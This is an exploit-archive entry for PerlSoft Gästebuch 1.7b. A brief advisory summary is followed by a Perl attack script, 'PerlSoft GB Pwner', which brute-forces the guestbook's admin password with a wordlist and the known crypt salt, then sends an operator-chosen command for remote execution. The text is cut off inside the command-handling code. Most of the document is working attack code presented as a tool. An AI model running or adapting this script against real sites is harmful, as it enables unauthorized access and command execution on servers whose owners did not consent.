source: https://www.securityfocus.com/bid/33525/info PerlSoft Gästebuch is prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue occurs because the application fails to adequately sanitize user-supplied input. Note that an attacker must have administrative access to the script to exploit this issue. Successful attacks can compromise the affected application and possibly the underlying computer. PerlSoft Gästebuch 1.7b is vulnerable; other versions may also be affected. #!/usr/bin/perl =pod Typ: Bruter & RCE Name: PerlSoft GB Pwner Affected Software: PerlSoft Gästebuch Version: 1.7b Coder/Bugfounder: Perforin Visit: DarK-CodeZ.org Note: RCE ist only 1 time possible, do not waste your command! =cut use strict; use warnings; use diagnostics; use LWP::Simple; use LWP::Simple::Post qw(post post_xml); my ($url,$user,$wordlist,$error_counter,$word,$anfrage); my ($falsch,$richtig,$entry,$rce,$send,$crypted); my (@response,@rcesend,@array); if (@ARGV < 4) { &fail; } ($url,$user,$wordlist) = (@ARGV); $falsch = 'Nur Administratoren mit gültigen Benutzerdaten haben Zugang in das Admin-Center!'; $richtig = 'Gästebuch Vorlage - Einstellen'; if ($url !~ m/^http:\/\//) { &fail; } if ($wordlist !~ m/\.(txt|list|dat)$/) { &fail; } print <<"show"; --==[Perforins PerlSoft GB Pwner]==-- [+] Attack: $url [+] User: $user [+] Wordlist: $wordlist show open(WordList,"<","$wordlist") || die "No wordlist found!"; foreach $word () { chomp($word); $crypted = crypt($word,"codec"); $anfrage = $url.'?sub=vorlage&id='.$user.'&pw='.$crypted; @array = get($anfrage) || (print "[-] Cannot connect!\n") && exit; foreach $entry (@array) { if ($entry =~ m/$richtig/i) { print "\n[+] Password cracked: "."$crypted:$word"." !\n\n"; if ($ARGV[3] =~ m/yes/i ) { print <<"RCE"; [+] Remote Command Execution possible! [~] Note: Only _1_ time exploitable, do not waste it! [+] Please enter your Command! RCE chomp($rce = ); $rce =~ s/>/\"\.chr(62)\.\"/ig; $rce =~ s/